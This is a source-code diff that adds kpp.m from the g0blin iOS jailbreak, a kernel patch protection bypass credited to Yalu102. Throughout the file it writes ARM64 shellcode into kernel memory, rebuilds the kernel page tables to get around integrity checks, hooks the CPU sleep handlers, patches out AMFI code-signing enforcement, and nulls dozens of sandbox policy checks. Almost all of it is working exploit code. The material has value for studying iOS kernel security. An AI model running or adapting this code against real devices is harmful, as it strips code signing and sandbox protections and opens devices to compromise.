|
@@ -0,0 +1,517 @@
|
|
|
+//
|
|
|
+// kpp.m
|
|
|
+// g0blin
|
|
|
+//
|
|
|
+// Created by Sticktron on 2017-12-26.
|
|
|
+// Copyright © 2017 qwertyoruiop. All rights reserved.
|
|
|
+//
|
|
|
+
|
|
|
+#include "kpp.h"
|
|
|
+#include "kernel.h"
|
|
|
+
|
|
|
+
|
|
|
+// This is @qwertyoruiop's KPP bypass from Yalu102 -----------------------------
|
|
|
+
|
|
|
+#import "pte_stuff.h"
|
|
|
+#include "kpppatchfinder64.h"
|
|
|
+
|
|
|
+
|
|
|
+kern_return_t do_kpp(int nukesb, int uref, uint64_t kernbase, uint64_t slide, task_t tfp0) {
|
|
|
+ kern_return_t ret;
|
|
|
+
|
|
|
+ checkvad();
|
|
|
+
|
|
|
+ uint64_t entryp;
|
|
|
+
|
|
|
+ int rv = kpp_init_patchfinder(tfp0, kernbase, NULL);
|
|
|
+ if (rv != 0) {
|
|
|
+ printf("[ERROR]: could not initialize kernel\n");
|
|
|
+ ret = KERN_FAILURE;
|
|
|
+ goto cleanup;
|
|
|
+ }
|
|
|
+ printf("[INFO]: sucessfully initialized kernel\n");
|
|
|
+
|
|
|
+ uint64_t gStoreBase = kpp_find_gPhysBase();
|
|
|
+ printf("[INFO]: gStoreBase = %llx \n", gStoreBase);
|
|
|
+
|
|
|
+ gPhysBase = ReadAnywhere64(gStoreBase);
|
|
|
+ gVirtBase = ReadAnywhere64(gStoreBase+8);
|
|
|
+ printf("[INFO]: gPhysBase = %llx \n", gPhysBase);
|
|
|
+ printf("[INFO]: gVirtBase = %llx \n", gVirtBase);
|
|
|
+
|
|
|
+ entryp = kpp_find_entry() + slide;
|
|
|
+ printf("[INFO]: entryp = %llx \n", entryp);
|
|
|
+
|
|
|
+ uint64_t rvbar = entryp & (~0xFFF);
|
|
|
+
|
|
|
+ uint64_t cpul = kpp_find_register_value(rvbar+0x40, 1);
|
|
|
+
|
|
|
+ uint64_t optr = kpp_find_register_value(rvbar+0x50, 20);
|
|
|
+ if (uref) {
|
|
|
+ optr = ReadAnywhere64(optr) - gPhysBase + gVirtBase;
|
|
|
+ }
|
|
|
+ printf("[INFO]: optr = %llx \n", optr);
|
|
|
+
|
|
|
+ uint64_t cpu_list = ReadAnywhere64(cpul - 0x10 /*the add 0x10, 0x10 instruction confuses findregval*/) - gPhysBase + gVirtBase;
|
|
|
+ uint64_t cpu = ReadAnywhere64(cpu_list);
|
|
|
+
|
|
|
+ uint64_t pmap_store = kpp_find_kernel_pmap();
|
|
|
+ printf("[INFO]: pmap = %llx \n", pmap_store);
|
|
|
+
|
|
|
+ level1_table = ReadAnywhere64(ReadAnywhere64(pmap_store));
|
|
|
+ printf("[INFO]: level1_table = %llx \n", level1_table);
|
|
|
+
|
|
|
+ uint64_t shellcode = physalloc(0x4000);
|
|
|
+
|
|
|
+ /*
|
|
|
+ ldr x30, a
|
|
|
+ ldr x0, b
|
|
|
+ br x0
|
|
|
+ nop
|
|
|
+ a:
|
|
|
+ .quad 0
|
|
|
+ b:
|
|
|
+ .quad 0
|
|
|
+ none of that squad shit tho, straight gang shit. free rondonumbanine
|
|
|
+ */
|
|
|
+
|
|
|
+ WriteAnywhere32(shellcode + 0x100, 0x5800009e); /* trampoline for idlesleep */
|
|
|
+ WriteAnywhere32(shellcode + 0x100 + 4, 0x580000a0);
|
|
|
+ WriteAnywhere32(shellcode + 0x100 + 8, 0xd61f0000);
|
|
|
+
|
|
|
+ WriteAnywhere32(shellcode + 0x200, 0x5800009e); /* trampoline for deepsleep */
|
|
|
+ WriteAnywhere32(shellcode + 0x200 + 4, 0x580000a0);
|
|
|
+ WriteAnywhere32(shellcode + 0x200 + 8, 0xd61f0000);
|
|
|
+
|
|
|
+ char buf[0x100];
|
|
|
+ copyin(buf, optr, 0x100);
|
|
|
+ copyout(shellcode+0x300, buf, 0x100);
|
|
|
+
|
|
|
+ uint64_t physcode = findphys_real(shellcode);
|
|
|
+
|
|
|
+ printf("[INFO]: got phys at %llx for virt %llx\n", physcode, shellcode);
|
|
|
+
|
|
|
+ uint64_t idlesleep_handler = 0;
|
|
|
+
|
|
|
+ uint64_t plist[12]={0,0,0,0,0,0,0,0,0,0,0,0};
|
|
|
+ int z = 0;
|
|
|
+
|
|
|
+ int idx = 0;
|
|
|
+ int ridx = 0;
|
|
|
+ while (cpu) {
|
|
|
+ cpu = cpu - gPhysBase + gVirtBase;
|
|
|
+ if ((ReadAnywhere64(cpu+0x130) & 0x3FFF) == 0x100) {
|
|
|
+ printf("[ERROR]: already jailbroken, bailing out\n");
|
|
|
+ ret = KERN_ABORTED;
|
|
|
+ goto cleanup;
|
|
|
+ }
|
|
|
+
|
|
|
+
|
|
|
+ if (!idlesleep_handler) {
|
|
|
+ WriteAnywhere64(shellcode + 0x100 + 0x18, ReadAnywhere64(cpu+0x130)); // idlehandler
|
|
|
+ WriteAnywhere64(shellcode + 0x200 + 0x18, ReadAnywhere64(cpu+0x130) + 12); // deephandler
|
|
|
+
|
|
|
+ idlesleep_handler = ReadAnywhere64(cpu+0x130) - gPhysBase + gVirtBase;
|
|
|
+
|
|
|
+ uint32_t* opcz = malloc(0x1000);
|
|
|
+ copyin(opcz, idlesleep_handler, 0x1000);
|
|
|
+ idx = 0;
|
|
|
+ while (1) {
|
|
|
+ if (opcz[idx] == 0xd61f0000 /* br x0 */) {
|
|
|
+ break;
|
|
|
+ }
|
|
|
+ idx++;
|
|
|
+ }
|
|
|
+ ridx = idx;
|
|
|
+ while (1) {
|
|
|
+ if (opcz[ridx] == 0xd65f03c0 /* ret */) {
|
|
|
+ break;
|
|
|
+ }
|
|
|
+ ridx++;
|
|
|
+ }
|
|
|
+
|
|
|
+
|
|
|
+ }
|
|
|
+ printf("[INFO]: found cpu %x\n", ReadAnywhere32(cpu+0x330));
|
|
|
+ printf("[INFO]: found physz: %llx\n", ReadAnywhere64(cpu+0x130) - gPhysBase + gVirtBase);
|
|
|
+
|
|
|
+ plist[z++] = cpu+0x130;
|
|
|
+ cpu_list += 0x10;
|
|
|
+ cpu = ReadAnywhere64(cpu_list);
|
|
|
+ }
|
|
|
+
|
|
|
+ uint64_t shc = physalloc(0x4000);
|
|
|
+
|
|
|
+ uint64_t regi = kpp_find_register_value(idlesleep_handler+12, 30);
|
|
|
+ uint64_t regd = kpp_find_register_value(idlesleep_handler+24, 30);
|
|
|
+ printf("[INFO]: %llx - %llx\n", regi, regd);
|
|
|
+
|
|
|
+ for (int i = 0; i < 0x500/4; i++) {
|
|
|
+ WriteAnywhere32(shc+i*4, 0xd503201f);
|
|
|
+ }
|
|
|
+
|
|
|
+ /*
|
|
|
+ isvad 0 == 0x4000
|
|
|
+ */
|
|
|
+
|
|
|
+ uint64_t level0_pte = physalloc(isvad == 0 ? 0x4000 : 0x1000);
|
|
|
+
|
|
|
+ uint64_t ttbr0_real = kpp_find_register_value(idlesleep_handler + idx*4 + 24, 1);
|
|
|
+ printf("[INFO]: ttbr0: %llx %llx\n",ReadAnywhere64(ttbr0_real), ttbr0_real);
|
|
|
+
|
|
|
+ char* bbuf = malloc(0x4000);
|
|
|
+ copyin(bbuf, ReadAnywhere64(ttbr0_real) - gPhysBase + gVirtBase, isvad == 0 ? 0x4000 : 0x1000);
|
|
|
+ copyout(level0_pte, bbuf, isvad == 0 ? 0x4000 : 0x1000);
|
|
|
+
|
|
|
+ uint64_t physp = findphys_real(level0_pte);
|
|
|
+
|
|
|
+ WriteAnywhere32(shc, 0x5800019e); // ldr x30, #40
|
|
|
+ WriteAnywhere32(shc+4, 0xd518203e); // msr ttbr1_el1, x30
|
|
|
+ WriteAnywhere32(shc+8, 0xd508871f); // tlbi vmalle1
|
|
|
+ WriteAnywhere32(shc+12, 0xd5033fdf); // isb
|
|
|
+ WriteAnywhere32(shc+16, 0xd5033f9f); // dsb sy
|
|
|
+ WriteAnywhere32(shc+20, 0xd5033b9f); // dsb ish
|
|
|
+ WriteAnywhere32(shc+24, 0xd5033fdf); // isb
|
|
|
+ WriteAnywhere32(shc+28, 0x5800007e); // ldr x30, 8
|
|
|
+ WriteAnywhere32(shc+32, 0xd65f03c0); // ret
|
|
|
+ WriteAnywhere64(shc+40, regi);
|
|
|
+ WriteAnywhere64(shc+48, /* new ttbr1 */ physp);
|
|
|
+
|
|
|
+ shc+=0x100;
|
|
|
+ WriteAnywhere32(shc, 0x5800019e); // ldr x30, #40
|
|
|
+ WriteAnywhere32(shc+4, 0xd518203e); // msr ttbr1_el1, x30
|
|
|
+ WriteAnywhere32(shc+8, 0xd508871f); // tlbi vmalle1
|
|
|
+ WriteAnywhere32(shc+12, 0xd5033fdf); // isb
|
|
|
+ WriteAnywhere32(shc+16, 0xd5033f9f); // dsb sy
|
|
|
+ WriteAnywhere32(shc+20, 0xd5033b9f); // dsb ish
|
|
|
+ WriteAnywhere32(shc+24, 0xd5033fdf); // isb
|
|
|
+ WriteAnywhere32(shc+28, 0x5800007e); // ldr x30, 8
|
|
|
+ WriteAnywhere32(shc+32, 0xd65f03c0); // ret
|
|
|
+ WriteAnywhere64(shc+40, regd); /*handle deepsleep*/
|
|
|
+ WriteAnywhere64(shc+48, /* new ttbr1 */ physp);
|
|
|
+ shc-=0x100;
|
|
|
+ {
|
|
|
+ int n = 0;
|
|
|
+ WriteAnywhere32(shc+0x200+n, 0x18000148); n+=4; // ldr w8, 0x28
|
|
|
+ WriteAnywhere32(shc+0x200+n, 0xb90002e8); n+=4; // str w8, [x23]
|
|
|
+ WriteAnywhere32(shc+0x200+n, 0xaa1f03e0); n+=4; // mov x0, xzr
|
|
|
+ WriteAnywhere32(shc+0x200+n, 0xd10103bf); n+=4; // sub sp, x29, #64
|
|
|
+ WriteAnywhere32(shc+0x200+n, 0xa9447bfd); n+=4; // ldp x29, x30, [sp, #64]
|
|
|
+ WriteAnywhere32(shc+0x200+n, 0xa9434ff4); n+=4; // ldp x20, x19, [sp, #48]
|
|
|
+ WriteAnywhere32(shc+0x200+n, 0xa94257f6); n+=4; // ldp x22, x21, [sp, #32]
|
|
|
+ WriteAnywhere32(shc+0x200+n, 0xa9415ff8); n+=4; // ldp x24, x23, [sp, #16]
|
|
|
+ WriteAnywhere32(shc+0x200+n, 0xa8c567fa); n+=4; // ldp x26, x25, [sp], #80
|
|
|
+ WriteAnywhere32(shc+0x200+n, 0xd65f03c0); n+=4; // ret
|
|
|
+ WriteAnywhere32(shc+0x200+n, 0x0e00400f); n+=4; // tbl.8b v15, { v0, v1, v2 }, v0
|
|
|
+ }
|
|
|
+
|
|
|
+ mach_vm_protect(tfp0, shc, 0x4000, 0, VM_PROT_READ|VM_PROT_EXECUTE);
|
|
|
+
|
|
|
+ mach_vm_address_t kppsh = 0;
|
|
|
+ mach_vm_allocate(tfp0, &kppsh, 0x4000, VM_FLAGS_ANYWHERE);
|
|
|
+ {
|
|
|
+ int n = 0;
|
|
|
+
|
|
|
+ WriteAnywhere32(kppsh+n, 0x580001e1); n+=4; // ldr x1, #60
|
|
|
+ WriteAnywhere32(kppsh+n, 0x58000140); n+=4; // ldr x0, #40
|
|
|
+ WriteAnywhere32(kppsh+n, 0xd5182020); n+=4; // msr TTBR1_EL1, x0
|
|
|
+ WriteAnywhere32(kppsh+n, 0xd2a00600); n+=4; // movz x0, #0x30, lsl #16
|
|
|
+ WriteAnywhere32(kppsh+n, 0xd5181040); n+=4; // msr CPACR_EL1, x0
|
|
|
+ WriteAnywhere32(kppsh+n, 0xd5182021); n+=4; // msr TTBR1_EL1, x1
|
|
|
+ WriteAnywhere32(kppsh+n, 0x10ffffe0); n+=4; // adr x0, #-4
|
|
|
+ WriteAnywhere32(kppsh+n, isvad ? 0xd5033b9f : 0xd503201f); n+=4; // dsb ish (4k) / nop (16k)
|
|
|
+ WriteAnywhere32(kppsh+n, isvad ? 0xd508871f : 0xd508873e); n+=4; // tlbi vmalle1 (4k) / tlbi vae1, x30 (16k)
|
|
|
+ WriteAnywhere32(kppsh+n, 0xd5033fdf); n+=4; // isb
|
|
|
+ WriteAnywhere32(kppsh+n, 0xd65f03c0); n+=4; // ret
|
|
|
+ WriteAnywhere64(kppsh+n, ReadAnywhere64(ttbr0_real)); n+=8;
|
|
|
+ WriteAnywhere64(kppsh+n, physp); n+=8;
|
|
|
+ WriteAnywhere64(kppsh+n, physp); n+=8;
|
|
|
+ }
|
|
|
+
|
|
|
+ mach_vm_protect(tfp0, kppsh, 0x4000, 0, VM_PROT_READ|VM_PROT_EXECUTE);
|
|
|
+
|
|
|
+ WriteAnywhere64(shellcode + 0x100 + 0x10, shc - gVirtBase + gPhysBase); // idle
|
|
|
+ WriteAnywhere64(shellcode + 0x200 + 0x10, shc + 0x100 - gVirtBase + gPhysBase); // idle
|
|
|
+
|
|
|
+ WriteAnywhere64(shellcode + 0x100 + 0x18, idlesleep_handler - gVirtBase + gPhysBase + 8); // idlehandler
|
|
|
+ WriteAnywhere64(shellcode + 0x200 + 0x18, idlesleep_handler - gVirtBase + gPhysBase + 8); // deephandler
|
|
|
+
|
|
|
+ /*
|
|
|
+
|
|
|
+ pagetables are now not real anymore, they're real af
|
|
|
+
|
|
|
+ */
|
|
|
+
|
|
|
+ uint64_t cpacr_addr = kpp_find_cpacr_write();
|
|
|
+
|
|
|
+#define PSZ (isvad ? 0x1000 : 0x4000)
|
|
|
+#define PMK (PSZ-1)
|
|
|
+
|
|
|
+
|
|
|
+#define RemapPage_(address) \
|
|
|
+pagestuff_64((address) & (~PMK), ^(vm_address_t tte_addr, int addr) {\
|
|
|
+uint64_t tte = ReadAnywhere64(tte_addr);\
|
|
|
+if (!(TTE_GET(tte, TTE_IS_TABLE_MASK))) {\
|
|
|
+printf("[INFO]: breakup!\n");\
|
|
|
+uint64_t fakep = physalloc(PSZ);\
|
|
|
+uint64_t realp = TTE_GET(tte, TTE_PHYS_VALUE_MASK);\
|
|
|
+TTE_SETB(tte, TTE_IS_TABLE_MASK);\
|
|
|
+for (int i = 0; i < PSZ/8; i++) {\
|
|
|
+TTE_SET(tte, TTE_PHYS_VALUE_MASK, realp + i * PSZ);\
|
|
|
+WriteAnywhere64(fakep+i*8, tte);\
|
|
|
+}\
|
|
|
+TTE_SET(tte, TTE_PHYS_VALUE_MASK, findphys_real(fakep));\
|
|
|
+WriteAnywhere64(tte_addr, tte);\
|
|
|
+}\
|
|
|
+uint64_t newt = physalloc(PSZ);\
|
|
|
+copyin(bbuf, TTE_GET(tte, TTE_PHYS_VALUE_MASK) - gPhysBase + gVirtBase, PSZ);\
|
|
|
+copyout(newt, bbuf, PSZ);\
|
|
|
+TTE_SET(tte, TTE_PHYS_VALUE_MASK, findphys_real(newt));\
|
|
|
+TTE_SET(tte, TTE_BLOCK_ATTR_UXN_MASK, 0);\
|
|
|
+TTE_SET(tte, TTE_BLOCK_ATTR_PXN_MASK, 0);\
|
|
|
+WriteAnywhere64(tte_addr, tte);\
|
|
|
+}, level1_table, isvad ? 1 : 2);
|
|
|
+
|
|
|
+
|
|
|
+#define NewPointer(origptr) (((origptr) & PMK) | findphys_real(origptr) - gPhysBase + gVirtBase)
|
|
|
+
|
|
|
+ uint64_t* remappage = calloc(512, 8);
|
|
|
+
|
|
|
+ int remapcnt = 0;
|
|
|
+
|
|
|
+
|
|
|
+#define RemapPage(x)\
|
|
|
+{\
|
|
|
+int fail = 0;\
|
|
|
+for (int i = 0; i < remapcnt; i++) {\
|
|
|
+if (remappage[i] == (x & (~PMK))) {\
|
|
|
+fail = 1;\
|
|
|
+}\
|
|
|
+}\
|
|
|
+if (fail == 0) {\
|
|
|
+RemapPage_(x);\
|
|
|
+RemapPage_(x+PSZ);\
|
|
|
+remappage[remapcnt++] = (x & (~PMK));\
|
|
|
+}\
|
|
|
+}
|
|
|
+
|
|
|
+
|
|
|
+ level1_table = physp - gPhysBase + gVirtBase;
|
|
|
+ WriteAnywhere64(ReadAnywhere64(pmap_store), level1_table);
|
|
|
+
|
|
|
+ uint64_t shtramp = kernbase + ((const struct mach_header *)kpp_find_mh())->sizeofcmds + sizeof(struct mach_header_64);
|
|
|
+ LOG("before first remap");
|
|
|
+ RemapPage(cpacr_addr);
|
|
|
+ WriteAnywhere32(NewPointer(cpacr_addr), 0x94000000 | (((shtramp - cpacr_addr)/4) & 0x3FFFFFF));
|
|
|
+ LOG("before second remap");
|
|
|
+ RemapPage(shtramp);
|
|
|
+ WriteAnywhere32(NewPointer(shtramp), 0x58000041);
|
|
|
+ WriteAnywhere32(NewPointer(shtramp)+4, 0xd61f0020);
|
|
|
+ WriteAnywhere64(NewPointer(shtramp)+8, kppsh);
|
|
|
+
|
|
|
+ uint64_t lwvm_write = kpp_find_lwvm_mapio_patch();
|
|
|
+ uint64_t lwvm_value = kpp_find_lwvm_mapio_newj();
|
|
|
+ LOG("before third remap");
|
|
|
+ RemapPage(lwvm_write);
|
|
|
+ WriteAnywhere64(NewPointer(lwvm_write), lwvm_value);
|
|
|
+
|
|
|
+ uint64_t kernvers = kpp_find_str("Darwin Kernel Version");
|
|
|
+ uint64_t release = kpp_find_str("RELEASE_ARM");
|
|
|
+ LOG("before fourth remap");
|
|
|
+ RemapPage(kernvers-4);
|
|
|
+ WriteAnywhere32(NewPointer(kernvers-4), 1);
|
|
|
+ LOG("before fifth remap");
|
|
|
+ RemapPage(release);
|
|
|
+ if (NewPointer(release) == (NewPointer(release+11) - 11)) {
|
|
|
+ copyout(NewPointer(release), "MarijuanARM", 11); /* marijuanarm */
|
|
|
+ }
|
|
|
+
|
|
|
+ /* nonceenabler ? */
|
|
|
+ {
|
|
|
+ uint64_t sysbootnonce = kpp_find_sysbootnonce();
|
|
|
+ printf("[INFO]: nonce: %x\n", ReadAnywhere32(sysbootnonce));
|
|
|
+
|
|
|
+ WriteAnywhere32(sysbootnonce, 1);
|
|
|
+ }
|
|
|
+
|
|
|
+ /* AMFI */
|
|
|
+
|
|
|
+ uint64_t memcmp_got = kpp_find_amfi_memcmpstub();
|
|
|
+ uint64_t ret1 = kpp_find_ret_0();
|
|
|
+
|
|
|
+ RemapPage(memcmp_got);
|
|
|
+ WriteAnywhere64(NewPointer(memcmp_got), ret1);
|
|
|
+
|
|
|
+ uint64_t fref = kpp_find_reference(idlesleep_handler+0xC, 1, SearchInCore);
|
|
|
+ printf("[INFO]: fref at %llx\n", fref);
|
|
|
+
|
|
|
+ uint64_t amfiops = kpp_find_amfiops();
|
|
|
+ printf("[INFO]: amfistr at %llx\n", amfiops);
|
|
|
+
|
|
|
+ {
|
|
|
+ uint64_t sbops = amfiops;
|
|
|
+ uint64_t sbops_end = sbops + sizeof(struct mac_policy_ops);
|
|
|
+
|
|
|
+ uint64_t nopag = sbops_end - sbops;
|
|
|
+
|
|
|
+ for (int i = 0; i < nopag; i+= PSZ)
|
|
|
+ RemapPage(((sbops + i) & (~PMK)));
|
|
|
+
|
|
|
+ WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_file_check_mmap)), 0);
|
|
|
+ }
|
|
|
+
|
|
|
+ /*
|
|
|
+ first str
|
|
|
+ */
|
|
|
+ while (1) {
|
|
|
+ uint32_t opcode = ReadAnywhere32(fref);
|
|
|
+ if ((opcode & 0xFFC00000) == 0xF9000000) {
|
|
|
+ int32_t outhere = ((opcode & 0x3FFC00) >> 10) * 8;
|
|
|
+ int32_t myreg = (opcode >> 5) & 0x1f;
|
|
|
+ uint64_t rgz = kpp_find_register_value(fref, myreg)+outhere;
|
|
|
+
|
|
|
+ WriteAnywhere64(rgz, physcode+0x200);
|
|
|
+ break;
|
|
|
+ }
|
|
|
+ fref += 4;
|
|
|
+ }
|
|
|
+
|
|
|
+ fref += 4;
|
|
|
+
|
|
|
+ /*
|
|
|
+ second str
|
|
|
+ */
|
|
|
+ while (1) {
|
|
|
+ uint32_t opcode = ReadAnywhere32(fref);
|
|
|
+ if ((opcode & 0xFFC00000) == 0xF9000000) {
|
|
|
+ int32_t outhere = ((opcode & 0x3FFC00) >> 10) * 8;
|
|
|
+ int32_t myreg = (opcode >> 5) & 0x1f;
|
|
|
+ uint64_t rgz = kpp_find_register_value(fref, myreg)+outhere;
|
|
|
+
|
|
|
+ WriteAnywhere64(rgz, physcode+0x100);
|
|
|
+ break;
|
|
|
+ }
|
|
|
+ fref += 4;
|
|
|
+ }
|
|
|
+
|
|
|
+ {
|
|
|
+
|
|
|
+ // sandbox
|
|
|
+
|
|
|
+
|
|
|
+ uint64_t sbops = kpp_find_sbops();
|
|
|
+ uint64_t sbops_end = sbops + sizeof(struct mac_policy_ops) + PMK;
|
|
|
+
|
|
|
+ uint64_t nopag = (sbops_end - sbops)/(PSZ);
|
|
|
+
|
|
|
+ for (int i = 0; i < nopag; i++) {
|
|
|
+ RemapPage(((sbops + i*(PSZ)) & (~PMK)));
|
|
|
+ }
|
|
|
+
|
|
|
+ WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_file_check_mmap)), 0);
|
|
|
+
|
|
|
+ WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_iokit_check_get_property)), 0); //ts
|
|
|
+
|
|
|
+ WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_mount_check_stat)), 0);
|
|
|
+
|
|
|
+ WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_proc_check_fork)), 0); //ts
|
|
|
+ WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_proc_check_run_cs_invalid)), 0); //test
|
|
|
+
|
|
|
+ WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_access)), 0);
|
|
|
+ WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_chroot)), 0);
|
|
|
+ WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_create)), 0);
|
|
|
+ WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_deleteextattr)), 0);
|
|
|
+ WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_exchangedata)), 0);
|
|
|
+ WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_exec)), 0);
|
|
|
+ WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_fsgetpath)), 0);
|
|
|
+ WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_getattr)), 0);
|
|
|
+ WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_getattrlist)), 0);
|
|
|
+ WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_getextattr)), 0);
|
|
|
+ WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_ioctl)), 0);
|
|
|
+ WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_link)), 0);
|
|
|
+ WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_listextattr)), 0);
|
|
|
+ WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_open)), 0);
|
|
|
+ WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_readlink)), 0);
|
|
|
+
|
|
|
+ WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_rename)), 0);
|
|
|
+
|
|
|
+ WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setattrlist)), 0);
|
|
|
+ WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setextattr)), 0);
|
|
|
+ WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setflags)), 0);
|
|
|
+ WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setmode)), 0);
|
|
|
+ WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setowner)), 0);
|
|
|
+ WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setutimes)), 0);
|
|
|
+ WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_stat)), 0);
|
|
|
+ WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_truncate)), 0);
|
|
|
+ WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_unlink)), 0);
|
|
|
+ WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_write)), 0);
|
|
|
+
|
|
|
+ WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_notify_create)), 0);
|
|
|
+
|
|
|
+ WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_proc_check_signal)),0);
|
|
|
+ WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_proc_check_wait)),0);
|
|
|
+ WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_proc_check_suspend_resume)),0);
|
|
|
+ /*
|
|
|
+ WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_proc_check_debug)), 0);
|
|
|
+ WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_proc_check_expose_task)), 0);
|
|
|
+ WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_proc_check_get_task_name)), 0);
|
|
|
+ WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_proc_check_get_task)), 0);
|
|
|
+ WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_revoke)), 0);
|
|
|
+ */
|
|
|
+ //WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_file_check_ioctl)),0);
|
|
|
+ // WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_policy_syscall)),0);
|
|
|
+ //mpo_file_check_ioctl
|
|
|
+ //mpo_proc_check_suspend_resume
|
|
|
+ //mpo_proc_check_wait
|
|
|
+ //look into this one mpo_iokit_check_hid_control
|
|
|
+ //mpo_policy_syscall
|
|
|
+ //mpo_proc_check_proc_info
|
|
|
+
|
|
|
+ // mpo_cred_check_label_update_execve - tihmstar
|
|
|
+ // WARNING - has to patched like this or Widgets (and javascript?) fail.
|
|
|
+
|
|
|
+ {
|
|
|
+ uint64_t off = find_sandbox_label_update_execve();
|
|
|
+
|
|
|
+ LOG("find_sandbox_label_update_execve = 0x%llx", off);
|
|
|
+ LOG("----------");
|
|
|
+ LOG("unslid = 0x%llx", off - slide);
|
|
|
+ LOG("was looking for: 0xfffffff006c35fb8");
|
|
|
+ LOG("----------");
|
|
|
+
|
|
|
+ #define INSN_NOP 0xd503201f
|
|
|
+ RemapPage(off);
|
|
|
+ WriteAnywhere32(NewPointer(off), INSN_NOP);
|
|
|
+ }
|
|
|
+
|
|
|
+ }
|
|
|
+
|
|
|
+ {
|
|
|
+ uint64_t point = kpp_find_amfiret()-0x18;
|
|
|
+
|
|
|
+ RemapPage((point & (~PMK)));
|
|
|
+ uint64_t remap = NewPointer(point);
|
|
|
+
|
|
|
+ assert(ReadAnywhere32(point) == ReadAnywhere32(remap));
|
|
|
+
|
|
|
+ WriteAnywhere32(remap, 0x58000041);
|
|
|
+ WriteAnywhere32(remap + 4, 0xd61f0020);
|
|
|
+ WriteAnywhere64(remap + 8, shc+0x200); /* amfi shellcode */
|
|
|
+
|
|
|
+ }
|
|
|
+
|
|
|
+ for (int i = 0; i < z; i++) {
|
|
|
+ WriteAnywhere64(plist[i], physcode + 0x100);
|
|
|
+ }
|
|
|
+
|
|
|
+ while (ReadAnywhere32(kernvers-4) != 1) {
|
|
|
+ sleep(1);
|
|
|
+ }
|
|
|
+
|
|
|
+ printf("[INFO]: enabled patches\n");
|
|
|
+
|
|
|
+ ret = KERN_SUCCESS;
|
|
|
+
|
|
|
+cleanup:
|
|
|
+ return ret;
|
|
|
+}
|